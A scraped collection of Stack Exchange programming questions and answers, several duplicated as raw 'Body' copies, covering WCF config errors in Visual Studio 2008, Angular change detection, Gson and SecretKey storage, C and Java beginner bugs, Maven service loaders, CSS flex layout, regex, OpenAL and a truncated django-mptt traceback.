问:
Why isn't my custom WCF behavior extension element type being found?
I have a solution that contains two projects. One project is an ASP.NET Web Application Project, and one is a class library. The web application has a project reference to the class library. Neither of these is strongly-named.

In the class library, which I'll call "Framework," I have an endpoint behavior (an IEndpointBehavior implementation) and a configuration element (a class derived from BehaviorExtensionsElement). The configuration element is so I can attach the endpoint behavior to a service via configuration.

In the web application, I have an AJAX-enabled WCF service. In web.config, I have the AJAX service configured to use my custom behavior. The system.serviceModel section of the configuration is pretty standard and looks like this:

```<code><system.serviceModel>
 <behaviors>
  <endpointBehaviors>
   <behavior name="MyEndpointBehavior">
    <enableWebScript />
    <customEndpointBehavior />
   </behavior>
  </endpointBehaviors>
 </behaviors>
 <serviceHostingEnvironment aspNetCompatibilityEnabled="true" />
 <services>
 <service name="WebSite.AjaxService">
  <endpoint
           address=""
           behaviorConfiguration="MyEndpointBehavior"
           binding="webHttpBinding"
           contract="WebSite.AjaxService" />
  </service>
 </services>
 <extensions>
  <behaviorExtensions>
   <add
       name="customEndpointBehavior"
       type="Framework.MyBehaviorExtensionsElement, Framework, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"/>
  </behaviorExtensions>
 </extensions>
</system.serviceModel>
</code>```

At runtime, this works perfectly. The AJAX enabled WCF service correctly uses my custom configured endpoint behavior.

The problem is when I try to add a new AJAX WCF service. If I do Add -> New Item... and select "AJAX-enabled WCF Service," I can watch it add the .svc file and codebehind, but when it gets to updating the web.config file, I get this error:

The configuration file is not a valid configuration file for WCF Service Library.

The type 'Framework.MyBehaviorExtensionsElement, Framework, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' registered for extension 'customEndpointBehavior' could not be loaded.

Obviously the configuration is entirely valid since it works perfectly at runtime. If I remove the  element from my behavior configuration temporarily and then add the AJAX-enabled WCF Service, everything goes without a hitch.

Unfortunately, in a larger project where we will have multiple services with various configurations, removing all of the custom behaviors temporarily is going to be error prone. While I realize I could go without using the wizard and do everything manually, not everyone can, and it'd be nice to be able to just use the product as it was meant to be used - wizards and all.

Why isn't my custom WCF behavior extension element type being found?

Updates/clarifications:

It does work at runtime, just not design time.

The Framework assembly is in the web project's bin folder when I attempt to add the service.

While I could add services manually ("without configuration"), I need the out-of-the-box item template to work - that's the whole goal of the question.

This issue is being seen in Visual Studio 2008. In VS 2010 this appears to be resolved.

I filed this issue on Microsoft Connect and it turns out you either have to put your custom configuration element in the GAC or put it in the IDE folder. They won't be fixing it, at least for now. I've posted the workaround they provided as the "answer" to this question.

答:
Per the workaround that Microsoft posted on the Connect issue I filed for this, it's a known issue and there won't be any solution for it, at least in the current release:

The reason for failing to add a new
  service item: When adding a new item
  and updating the configuration file,
  the system will try to load
  configuration file, so it will try to
  search and load the assembly of the
  cusom extension in this config file.
  Only in the cases that the assembly is
  GACed or is located in the same path
  as vs exe (Program Files\Microsoft
  Visual Studio 9.0\Common7\IDE), the
  system can find it. Otherwise, the
  error dialog will pop up and "add a
  new item" will fail.

I understand your pain points.
  Unfortunately we cannot take this
  change in current release. We will
  investigate it in later releases and
  try to provide a better solution
  then,such as providing a browse dialog
  to enable customers to specify the
  path, or better error message to
  indicate some work around solution,
  etc...

Can you try the work around in current
  stage: GAC your custom extension
  assembly or copy it to "Program
  Files\Microsoft Visual Studio
  9.0\Common7\IDE"?

We will provide the readme to help
  other customers who may run into the
  same issue.

Unfortunately, it appears I'm out of luck on this one.

OwnerDisplayName: Travis Illig

Body:
I have a solution that contains two projects. One project is an ASP.NET Web Application Project, and one is a class library. The web application has a project reference to the class library. Neither of these is strongly-named.

In the class library, which I'll call "Framework," I have an endpoint behavior (an IEndpointBehavior implementation) and a configuration element (a class derived from BehaviorExtensionsElement). The configuration element is so I can attach the endpoint behavior to a service via configuration.

In the web application, I have an AJAX-enabled WCF service. In web.config, I have the AJAX service configured to use my custom behavior. The system.serviceModel section of the configuration is pretty standard and looks like this:

<system.serviceModel>
 <behaviors>
  <endpointBehaviors>
   <behavior name="MyEndpointBehavior">
    <enableWebScript />
    <customEndpointBehavior />
   </behavior>
  </endpointBehaviors>
 </behaviors>
 <serviceHostingEnvironment aspNetCompatibilityEnabled="true" />
 <services>
 <service name="WebSite.AjaxService">
  <endpoint
           address=""
           behaviorConfiguration="MyEndpointBehavior"
           binding="webHttpBinding"
           contract="WebSite.AjaxService" />
  </service>
 </services>
 <extensions>
  <behaviorExtensions>
   <add
       name="customEndpointBehavior"
       type="Framework.MyBehaviorExtensionsElement, Framework, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"/>
  </behaviorExtensions>
 </extensions>
</system.serviceModel>

At runtime, this works perfectly. The AJAX enabled WCF service correctly uses my custom configured endpoint behavior.

The problem is when I try to add a new AJAX WCF service. If I do Add -> New Item... and select "AJAX-enabled WCF Service," I can watch it add the .svc file and codebehind, but when it gets to updating the web.config file, I get this error:

The configuration file is not a valid configuration file for WCF Service Library.

The type 'Framework.MyBehaviorExtensionsElement, Framework, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' registered for extension 'customEndpointBehavior' could not be loaded.

Obviously the configuration is entirely valid since it works perfectly at runtime. If I remove the  element from my behavior configuration temporarily and then add the AJAX-enabled WCF Service, everything goes without a hitch.

Unfortunately, in a larger project where we will have multiple services with various configurations, removing all of the custom behaviors temporarily is going to be error prone. While I realize I could go without using the wizard and do everything manually, not everyone can, and it'd be nice to be able to just use the product as it was meant to be used - wizards and all.

Why isn't my custom WCF behavior extension element type being found?

Updates/clarifications:

It does work at runtime, just not design time.

The Framework assembly is in the web project's bin folder when I attempt to add the service.

While I could add services manually ("without configuration"), I need the out-of-the-box item template to work - that's the whole goal of the question.

This issue is being seen in Visual Studio 2008. In VS 2010 this appears to be resolved.

I filed this issue on Microsoft Connect and it turns out you either have to put your custom configuration element in the GAC or put it in the IDE folder. They won't be fixing it, at least for now. I've posted the workaround they provided as the "answer" to this question.

LastEditorDisplayName: Travis Illig


来源: stackexchange

问:
Infinite loop while use function with http-call in *ngFor with async pipe
I call function in *ngFor statement:

```<code>@Component({
  selector: 'foo-view',
  template: '<div *ngFor="let foo of loadAll() | async"></div>'
})
export class FooComponent {

  loadAll() : Observable<Foo[]> {
    return this.http.get(`api/foos`)
      .map(response => response.json() as Foo[]);
  }

}
</code>```

When code starts, it sends http requests in infinite loop over and over again.

Why?
What can I do to avoid this?

P.S. I know standard workaround like

```<code>@Component({
  selector: 'foo-view',
  template: '<div *ngFor="let foo of foos"></div>'
})
export class FooComponent implements OnInit {

  foos: Foo[] = [];

  ngOnInit() {
    loadAll().subscribe(foos => this.foos = foos);
  }

  loadAll() : Observable<Foo[]> {
    return this.http.get(`api/foos`)
      .map(response => response.json() as Foo[]);
  }

}
</code>```

but I am looking for the way to drop excess variable.

答:
It's not an infinite loop. Every time Angular runs the change detector to check if any of bindings have changed it needs to run the loadAll() method which makes the HTTP call. This is because it can't be sure it hasn't changed single it last checked. You obviously don't want this. How often it needs to check for changes might very likely depend on other components as well (its parent for example).

One way to avoid this is exactly what you showed by creating property foos: Foo[].

If you don't want to use another state variable you could make an Observable chain that replays the cached data:

```<code>private cached;

ngOnInit() {
  this.cached = this.http.get(`api/foos`)
    .map(response => response.json() as Foo[])
    .publishReplay(1)
    .refCount()
    .take(1);
}
</code>```

And then in your template you can use just:

```<code><div *ngFor="let foo of cached | async"></div>
</code>```

Now it'll make just one request at the beginning and every time anyone subscribes to it'll just replay the value and complete.

Also, since RxJS 5.4.0 you can use shareReplay(1) instead of .publishReplay(1).refCount().

By the way you can also change the Change Detection Strategy on the component with changeDetection property to manually run the change detection. See ChangeDetectionStrategy,

ContentLicense: CC BY-SA 3.0

Body:
I call function in *ngFor statement:

@Component({
  selector: 'foo-view',
  template: '

'
})
export class FooComponent {

  loadAll() : Observable<Foo[]> {
    return this.http.get(`api/foos`)
      .map(response => response.json() as Foo[]);
  }

}

When code starts, it sends http requests in infinite loop over and over again.

Why?
What can I do to avoid this?

P.S. I know standard workaround like

@Component({
  selector: 'foo-view',
  template: '

'
})
export class FooComponent implements OnInit {

  foos: Foo[] = [];

  ngOnInit() {
    loadAll().subscribe(foos => this.foos = foos);
  }

  loadAll() : Observable<Foo[]> {
    return this.http.get(`api/foos`)
      .map(response => response.json() as Foo[]);
  }

}

but I am looking for the way to drop excess variable.

Body:
It's not an infinite loop. Every time Angular runs the change detector to check if any of bindings have changed it needs to run the loadAll() method which makes the HTTP call. This is because it can't be sure it hasn't changed single it last checked. You obviously don't want this. How often it needs to check for changes might very likely depend on other components as well (its parent for example).

One way to avoid this is exactly what you showed by creating property foos: Foo[].

If you don't want to use another state variable you could make an Observable chain that replays the cached data:

private cached;

ngOnInit() {
  this.cached = this.http.get(`api/foos`)
    .map(response => response.json() as Foo[])
    .publishReplay(1)
    .refCount()
    .take(1);
}

And then in your template you can use just:

<div *ngFor="let foo of cached | async"></div>

Now it'll make just one request at the beginning and every time anyone subscribes to it'll just replay the value and complete.

Also, since RxJS 5.4.0 you can use shareReplay(1) instead of .publishReplay(1).refCount().

By the way you can also change the Change Detection Strategy on the component with changeDetection property to manually run the change detection. See ChangeDetectionStrategy,


问:
com.google.gson.Gson class fails with javax.crypto.SecretKey?
I have stored the SecretKey during some encryption operation which I need to use later. While storing I am converting it into string :

```<code>String keyAsString = new Gson().toJson(key);
</code>```

But while retriving it fails for following code :

```<code>   SecretKey secKey =  new Gson().fromJson(keyAsString, SecretKey.class);
</code>```

Also I am not getting any single hint in LogCat even with Verbose messaging filter. I tried surrounding the code in try catch as below with debug points ( In hope I may get any exception trace while debugging ) :

```<code>try {
SecretKey secKey =  new Gson().fromJson(keyAsString, SecretKey.class); // One debug point here
} catch (Exception e) {
Log.e(TAG, Log.getStackTraceString(e)); // And one debug point here
}
</code>```

But debugger do not stop at both the debug points, Immediately on device app crashes and shows unfortunately application crashed message.

The json structure on save for SecretKey is as follow :

```<code>{
  "algorithm": "AES",
  "key": [
   integer1, integre2, ....
  ]
}
</code>```

Note : integer1, integer2 ... are actual numbers for security purpose I am not posting the original result numbers.

What may have gone wrong ? Is such storing of SecretKey is not allowed ?

Update

Converting SecretKey to json string & vice versa using Gson was bad Idea as answered by jonathanrz below I followed his answer & wrote two utility functions in android to convert SecretKey to String & vice versa functions are as follows :

```<code>public static String secretKeyToString(SecretKey key) {
  return Base64.encodeToString(key.getEncoded(), Base64.DEFAULT);
}

public static SecretKey encodedStringToSecretKey(String encodedKey) {
  byte[] decodedKey = Base64.decode(encodedKey, Base64.DEFAULT);
  return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
}
</code>```

答:
You should parse the key as a string and then use the SecretKeyFactory.translateKey to parse the key.

UPDATE: after you edited your question, I saw that the output you have are not just a single String. So you will need to create a class that represents your json, parse the response with it and construct each key with translateKey. GSON can only parse a json if the class has the attributes with the same name and same type as the keys in json, what is not the case for SecretKey.

UPDATE2: translateKey can't create keys from String. The option to create a key from a String is this: Converting Secret Key into a String and Vice Versa

Body:
I have stored the SecretKey during some encryption operation which I need to use later. While storing I am converting it into string :

String keyAsString = new Gson().toJson(key);

But while retriving it fails for following code :

   SecretKey secKey =  new Gson().fromJson(keyAsString, SecretKey.class);

Also I am not getting any single hint in LogCat even with Verbose messaging filter. I tried surrounding the code in try catch as below with debug points ( In hope I may get any exception trace while debugging ) :

try {
SecretKey secKey =  new Gson().fromJson(keyAsString, SecretKey.class); // One debug point here
} catch (Exception e) {
Log.e(TAG, Log.getStackTraceString(e)); // And one debug point here
}

But debugger do not stop at both the debug points, Immediately on device app crashes and shows unfortunately application crashed message.

The json structure on save for SecretKey is as follow :

{
  "algorithm": "AES",
  "key": [
   integer1, integre2, ....
  ]
}

Note : integer1, integer2 ... are actual numbers for security purpose I am not posting the original result numbers.

What may have gone wrong ? Is such storing of SecretKey is not allowed ?

Update

Converting SecretKey to json string & vice versa using Gson was bad Idea as answered by jonathanrz below I followed his answer & wrote two utility functions in android to convert SecretKey to String & vice versa functions are as follows :

public static String secretKeyToString(SecretKey key) {
  return Base64.encodeToString(key.getEncoded(), Base64.DEFAULT);
}

public static SecretKey encodedStringToSecretKey(String encodedKey) {
  byte[] decodedKey = Base64.decode(encodedKey, Base64.DEFAULT);
  return new SecretKeySpec(decodedKey, 0, decodedKey.length, "AES");
}


问:
Head first C example code not working on Xcode
```<code>#include <stdio.h>

void skip(char *msg)
{
    puts(msg+6);
}

char *msg_from_amy = "Don't call me";
skip(msg_from_amy);
</code>```

The above code, which is an example from the book Head First C, doesn't seem to work on my Xcode. It gives the errors:
1) Type specifier missing, defaults to 'int'
2) A parameter list without types is only allowed in a function definition

Help!

答:
This is normal, in C you can't put instruction outside a function.

If you read this book, http://www.mosaic-industries.com/embedded-systems/_media/c-ide-software-development/learning-c-programming-language/head-first-c-o-reilly-david-grifffiths-dawn-griffiths.pdf. Notice that they put their examples inside a main(); function.

```<code>#include <stdio.h>

void skip(char const *msg)
{
    puts(msg + 6);
}

int main(void) {
    char const *msg_from_amy = "Don't call me"; // should be const by the way
    skip(msg_from_amy); // This is an instruction
}
</code>```

Body:
#include <stdio.h>

void skip(char *msg)
{
    puts(msg+6);
}

char *msg_from_amy = "Don't call me";
skip(msg_from_amy);

The above code, which is an example from the book Head First C, doesn't seem to work on my Xcode. It gives the errors:
1) Type specifier missing, defaults to 'int'
2) A parameter list without types is only allowed in a function definition

Help!

Body:
This is normal, in C you can't put instruction outside a function.

If you read this book, http://www.mosaic-industries.com/embedded-systems/_media/c-ide-software-development/learning-c-programming-language/head-first-c-o-reilly-david-grifffiths-dawn-griffiths.pdf. Notice that they put their examples inside a main(); function.

#include <stdio.h>

void skip(char const *msg)
{
    puts(msg + 6);
}

int main(void) {
    char const *msg_from_amy = "Don't call me"; // should be const by the way
    skip(msg_from_amy); // This is an instruction
}


问:
how to create a string from char array by adding char by char in java
How to create a String in Java by adding char by char.
I have to do it like this, because i have to add a "," between al letters.
I tried it like this, but it had not worked.</p>

```<code>String t;
int l = t.length();
char[] a;
a = new char[l];
String rel = ",";
String ret = null;

for (int i = 0; i<l; i++){
    a[i] = new Character(t.charAt(0));
}

for (int v = 0; v<l; v--){
    ret += a[v];
    ret += rel;
}
</code>```

答:
I've put the errors in your code in comments.

```<code>String t;
int l = t.length();
char[] a;
a = new char[l];
String rel = ",";
String ret = null; //you initialize ret to null, it should be "";

for (int i = 0; i<l; i++){
    //you always set it to the character at position 0, you should do t.charAt(i)
    //you don't need to use the wrapper class just t.charAt(i) will be fine.
    a[i] = new Character(t.charAt(0));
}

for (int v = 0; v<l; v--){//you decrement v instead of incrementing it, this will lead to exceptions
    ret += a[v];
    ret += rel;//you always add the delimiter, note that this will lead to a trailing delimiter at the end
}
</code>```

You might want to try a StringBuilder. It's a lot more efficient than using string concatenation. Using the array a is also not really necessary. Have a look at this implementation.

```<code>String t = "Test";
StringBuilder builder = new StringBuilder();
if(t.length() > 0){
    builder.append(t.charAt(0));
    for(int i=1;i<t.length();i++){
        builder.append(",");
        builder.append(t.charAt(i));
    }
}
System.out.println(builder.toString());
</code>```

Body:
How to create a String in Java by adding char by char.
I have to do it like this, because i have to add a "," between al letters.
I tried it like this, but it had not worked.

String t;
int l = t.length();
char[] a;
a = new char[l];
String rel = ",";
String ret = null;

for (int i = 0; i<l; i++){
    a[i] = new Character(t.charAt(0));
}

for (int v = 0; v<l; v--){
    ret += a[v];
    ret += rel;
}

Body:
I've put the errors in your code in comments.

String t;
int l = t.length();
char[] a;
a = new char[l];
String rel = ",";
String ret = null; //you initialize ret to null, it should be "";

for (int i = 0; i<l; i++){
    //you always set it to the character at position 0, you should do t.charAt(i)
    //you don't need to use the wrapper class just t.charAt(i) will be fine.
    a[i] = new Character(t.charAt(0));
}

for (int v = 0; v<l; v--){//you decrement v instead of incrementing it, this will lead to exceptions
    ret += a[v];
    ret += rel;//you always add the delimiter, note that this will lead to a trailing delimiter at the end
}

You might want to try a StringBuilder. It's a lot more efficient than using string concatenation. Using the array a is also not really necessary. Have a look at this implementation.

String t = "Test";
StringBuilder builder = new StringBuilder();
if(t.length() > 0){
    builder.append(t.charAt(0));
    for(int i=1;i<t.length();i++){
        builder.append(",");
        builder.append(t.charAt(i));
    }
}
System.out.println(builder.toString());


问:
ServiceLoader and META-INF/services generator between different modules in maven?
I would like to use service ServiceLoader between diferrent modules in a maven Project. I have a parent module called iMage. In the parent module there is a module with a name jmjrst.main and it has a public abstract class called JmjrstPlugin.

Then there is another module called prizm-plugin with the following class:

```<code>public class HelloWorldPlugin extends JmjrstPlugin{ ... }
</code>```

I added jmjrst.main as a dependency to prizm-plugin and vica-versa as well.

In order to use ServiceLoader I wanted to use META-INF/services generator.
I added the following line to the pom.xml of prizm-plugin:

```<code><dependency>
  <groupId>org.kohsuke.metainf-services</groupId>
  <artifactId>metainf-services</artifactId>
  <version>1.1</version>
  <optional>true</optional>
</dependency>
</code>```

And the class HelloWorldPlugin starts like that:

```<code>@MetaInfServices(JmjrstPlugin.class)
public class HelloWorldPlugin extends JmjrstPlugin{ ... }
</code>```

On the website on META-INF/services generator goes: "When you use javac in JavaSE6, META-INF/services/* files are generated automatically. No additional compiler switches are necessary. This library handles incremental compilation correctly, too."

At my case nothing is generated. Can somebody help me with that?

答:
From the code snippet of your class HelloWorldPlugin it is not clear which interface is 'the contract'. And in the link that you gave:

If you have multiple interfaces and/or base type, the library cannot infer the contract type. In such a case, specify the contract type explicitly by giving it to @MetaInfServices ..

So first of all you have to be sure which contract you wish to fulfill and if the parent class(es) implement several then you'll need to explicitly state which one in the @MetaInfServices annotation.

That's the first thing to check I think.

ContentLicense: CC BY-SA 4.0

Body:
I would like to use service ServiceLoader between diferrent modules in a maven Project. I have a parent module called iMage. In the parent module there is a module with a name jmjrst.main and it has a public abstract class called JmjrstPlugin.

Then there is another module called prizm-plugin with the following class:

public class HelloWorldPlugin extends JmjrstPlugin{ ... }

I added jmjrst.main as a dependency to prizm-plugin and vica-versa as well.

In order to use ServiceLoader I wanted to use META-INF/services generator.
I added the following line to the pom.xml of prizm-plugin:

<dependency>
  <groupId>org.kohsuke.metainf-services</groupId>
  <artifactId>metainf-services</artifactId>
  <version>1.1</version>
  <optional>true</optional>
</dependency>

And the class HelloWorldPlugin starts like that:

@MetaInfServices(JmjrstPlugin.class)
public class HelloWorldPlugin extends JmjrstPlugin{ ... }

On the website on META-INF/services generator goes: "When you use javac in JavaSE6, META-INF/services/* files are generated automatically. No additional compiler switches are necessary. This library handles incremental compilation correctly, too."

At my case nothing is generated. Can somebody help me with that?


问:
HTML Input text side by side
i've been trying to figure out how to make the input text and input button side by side. Not only that, it seems my text-align : center is not applying for the text input.

I'm trying not to add multiple spaces just to indent the placeholder.

I've been trying various way but i'm still stuck :
Codepen :-

https://codepen.io/jayvicious/pen/dRyJKE
HTML :

```<code><div class="cell at-bottom">
      <input type="text" placeholder="All Japan Cities" class="formElement">
      <input type="text" placeholder="Check In Date" class="formElement">
      <input type="text" placeholder="Check Out Date" class="formElement">
      <select name="cars">
  <option value="Guest1">1 Guest</option>
  <option value="Guest2">2 Guest</option>
  <option value="Guest3">3 Guest</option>
  <option value="Guest4">4 Guest</option>
  <option value="Guest5">5 Guest</option>
</select>
      <input type="submit" value="Search" class="formElement">
    </div>
</code>```

CSS:

```<code>input[type=text], select {
text-allign:center;
padding: 12px 20px;
margin: auto;
display: inline-block;
border: 1px solid  #000000;

}

input[type=submit] {
    font-family: 'arial', sans-serif;
    background-color:white;
    text-align: center;
    color:red;
  padding: 14px 45px;
  margin: 8px 0;
  border: 1px solid  #000000;
  cursor: pointer;
}

.cell.at-bottom {
  height: 20px;
  padding: 20px;
}
</code>```

My expected output should be something like this :

EDIT : Center issue has been fixed by matthias gwiozda
Link that fixed it : Center HTML Input Text Field Placeholder

答:
I made some changes to your HTML and CSS that should do the trick. e.g.:

HTML:

```<code><div class="cell at-bottom">
      <input type="text" placeholder="All Japan Cities" class="formElement">
      <input type="text" placeholder="Check In Date" class="formElement">
      <input type="text" placeholder="Check Out Date" class="formElement">
      <select name="cars" class="formElement">
  <option value="Guest1">1 Guest</option>
  <option value="Guest2">2 Guest</option>
  <option value="Guest3">3 Guest</option>
  <option value="Guest4">4 Guest</option>
  <option value="Guest5">5 Guest</option>
</select>
      <input type="submit" value="Search" class="formElement">
    </div>
</code>```

CSS:

```<code>.cell{
  display: flex;
  align-content: flex-start;
}

.formElement{
  box-sizing: border-box;
  height: 46px;
  border: 1px solid  #000000;
  border-radius: 0px;
  text-align:center;
  padding: 12px 20px;
  flex-grow: 1;
  flex-basis: 100px;
}

input[type=submit] {
    font-family: 'arial', sans-serif;
    background-color:white;
    color:red;
  cursor: pointer;
}

.cell.at-bottom {
  height: 20px;
  padding: 20px;
}
</code>```

The key change is to use display: flex for your div container. From there I grouped all input and select elements in the .formElement and sized them in there. This keeps everything the same width, height, and in line.

Title: HTML Input text side by side

Body:
i've been trying to figure out how to make the input text and input button side by side. Not only that, it seems my text-align : center is not applying for the text input.

I'm trying not to add multiple spaces just to indent the placeholder.

I've been trying various way but i'm still stuck :
Codepen :-

https://codepen.io/jayvicious/pen/dRyJKE
HTML :

      <input type="text" placeholder="All Japan Cities" class="formElement">
      <input type="text" placeholder="Check In Date" class="formElement">
      <input type="text" placeholder="Check Out Date" class="formElement">
      <select name="cars">
  <option value="Guest1">1 Guest</option>
  <option value="Guest2">2 Guest</option>
  <option value="Guest3">3 Guest</option>
  <option value="Guest4">4 Guest</option>
  <option value="Guest5">5 Guest</option>
</select>
      <input type="submit" value="Search" class="formElement">

CSS:

input[type=text], select {
text-allign:center;
padding: 12px 20px;
margin: auto;
display: inline-block;
border: 1px solid  #000000;

}

input[type=submit] {
    font-family: 'arial', sans-serif;
    background-color:white;
    text-align: center;
    color:red;
  padding: 14px 45px;
  margin: 8px 0;
  border: 1px solid  #000000;
  cursor: pointer;
}

.cell.at-bottom {
  height: 20px;
  padding: 20px;
}

My expected output should be something like this :

EDIT : Center issue has been fixed by matthias gwiozda
Link that fixed it : Center HTML Input Text Field Placeholder

Body:
I made some changes to your HTML and CSS that should do the trick. e.g.:

HTML:

<div class="cell at-bottom">
      <input type="text" placeholder="All Japan Cities" class="formElement">
      <input type="text" placeholder="Check In Date" class="formElement">
      <input type="text" placeholder="Check Out Date" class="formElement">
      <select name="cars" class="formElement">
  <option value="Guest1">1 Guest</option>
  <option value="Guest2">2 Guest</option>
  <option value="Guest3">3 Guest</option>
  <option value="Guest4">4 Guest</option>
  <option value="Guest5">5 Guest</option>
</select>
      <input type="submit" value="Search" class="formElement">
    </div>

CSS:

.cell{
  display: flex;
  align-content: flex-start;
}

.formElement{
  box-sizing: border-box;
  height: 46px;
  border: 1px solid  #000000;
  border-radius: 0px;
  text-align:center;
  padding: 12px 20px;
  flex-grow: 1;
  flex-basis: 100px;
}

input[type=submit] {
    font-family: 'arial', sans-serif;
    background-color:white;
    color:red;
  cursor: pointer;
}

.cell.at-bottom {
  height: 20px;
  padding: 20px;
}

The key change is to use display: flex for your div container. From there I grouped all input and select elements in the .formElement and sized them in there. This keeps everything the same width, height, and in line.


问:
Using regex for the first time
I just started using regex and I'm trying to solve this problem, but it keeps return null. What is wrong with my code?
I want it to return this = (833) 741-2093</p>

```<code>function phoneNumber(numbers){
  var num = numbers.join('');
  var r = /\(\d{3}\)\s\d{3}\-\d{4}/;
  var match = num.match(r);
  return match;
}

var output = phoneNumber([8, 3, 3, 7, 4, 1, 2, 0, 9, 3]);

console.log(output);
</code>```

答:
You are joining [8, 3, 3, 7, 4, 1, 2, 0, 9, 3] to "8337412093" and then searching for "(###) ###-####" in that string (where # are numbers). Obviously, 8337412093 does not contain (833) 741-2093 so it can't be matched.

This is probably easier to do with sub-strings, but you could match the number in 3 groups and then reformat it using back references like in david's answer

Title: Using regex for the first time

Body:
I just started using regex and I'm trying to solve this problem, but it keeps return null. What is wrong with my code?
I want it to return this = (833) 741-2093

function phoneNumber(numbers){
  var num = numbers.join('');
  var r = /\(\d{3}\)\s\d{3}\-\d{4}/;
  var match = num.match(r);
  return match;
}

var output = phoneNumber([8, 3, 3, 7, 4, 1, 2, 0, 9, 3]);

console.log(output);


问:
Where to get OpenAL in form of static build?
Where to get OpenAL in form of static (.lib) build? (my point is to compile my app into 1 file with all needed inside)</p>

答:
Go here:

http://connect.creativelabs.com/openal/Downloads/Forms/AllItems.aspx

And download: "OpenAL Installer for Windows"

ContentLicense: CC BY-SA 2.5


问:
django-mptt ValueError: Cannot use None as a query value
I'm using django-mptt to create catalog Category model and I'm getting an error when i'm trying to create first instance of Category model

```<code>>>> c = Category(name='cat1', slug='cat1')
>>> c.save()
</code>```

Error:

```<code>ValueError at /admin/catalog/category/add/
Cannot use None as a query value
</code>```

This error appears only if i don't point 'parent' field in Category instance

```<code>class TimeStampedModel(models.Model):
    """
    Abstract class for adding 'create' and 'modified' info
    """
    created = models.DateTimeField(auto_now_add=True)
    modified = models.DateTimeField(auto_now=True)

    class Meta:
        abstract = True

@python_2_unicode_compatible
class Category(MPTTModel, TimeStampedModel):
    ''' Category model with MPTT storing approach '''
    name = models.CharField(max_length=128)
    slug = models.SlugField(max_length=50, unique=True)
    description = models.TextField(blank=True)
    parent = TreeForeignKey('self', null=True, blank=True, related_name='children')
    is_active = models.BooleanField(default=True)

    def __str__(self):
        return self.name

    def get_absolute_url(self):
        return reverse('category', kwargs={'slug': self.slug})

    class MPTTMeta:
        order_insertion_by = ['id']
</code>```

I can't find where error is. Have any suggestions?

Environment:

```<code>Request Method: POST
Request URL: http://127.0.0.1:8000/admin/catalog/category/add/

Django Version: 1.7.1
Python Version: 2.7.6
Installed Applications:
('django.contrib.admin',
 'django.contrib.auth',
 'django.contrib.contenttypes',
 'django.contrib.sessions',
 'django.contrib.messages',
 'django.contrib.staticfiles',
 'mptt',
 'sorl.thumbnail',
 'daguerre',
 'home',
 'utils',
 'accounts',
 'catalog',
 'debug_toolbar')
Installed Middleware:
(u'debug_toolbar.middleware.DebugToolbarMiddleware',
 'django.contrib.sessions.middleware.SessionMiddleware',
 'django.middleware.common.CommonMiddleware',
 'django.middleware.csrf.CsrfViewMiddleware',
 'django.contrib.auth.middleware.AuthenticationMiddleware',
 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
 'django.contrib.messages.middleware.MessageMiddleware',
 'django.middleware.clickjacking.XFrameOptionsMiddleware')

Traceback:
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/core/handlers/base.py" in get_response
  111.                     response = wrapped_callback(request, *callback_args, **callback_kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in wrapper
  584.                 return self.admin_site.admin_view(view)(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in _wrapped_view
  105.                     response = view_func(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/views/decorators/cache.py" in _wrapped_view_func
  52.         response = view_func(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/sites.py" in inner
  204.             return view(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in add_view
  1454.         return self.changeform_view(request, None, form_url, extra_context)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in _wrapper
  29.             return bound_func(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in _wrapped_view
  105.                     response = view_func(request, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/utils/decorators.py" in bound_func
  25.                 return func.__get__(self, type(self))(*args2, **kwargs2)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/transaction.py" in inner
  394.                 return func(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in changeform_view
  1405.                 self.save_model(request, new_object, form, not add)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/contrib/admin/options.py" in save_model
  1046.         obj.save()
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/mptt/models.py" in save
  824.                         right_sibling = opts.get_ordered_insertion_target(self, parent)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/mptt/models.py" in get_ordered_insertion_target
  193.             queryset = node.__class__._tree_manager.filter(filters).order_by(*order_by)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/manager.py" in manager_method
  92.                 return getattr(self.get_queryset(), name)(*args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/query.py" in filter
  691.         return self._filter_or_exclude(False, *args, **kwargs)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/query.py" in _filter_or_exclude
  709.             clone.query.add_q(Q(*args, **kwargs))
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in add_q
  1287.         clause, require_inner = self._add_q(where_part, self.used_aliases)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in _add_q
  1309.                     current_negated)
File "/home/oleshko/design/.virtualenvs/begemotik/local/lib/python2.7/site-packages/django/db/models/sql/query.py" in _add_q
  1314.                     current_negated=current_negated, connector=connector)
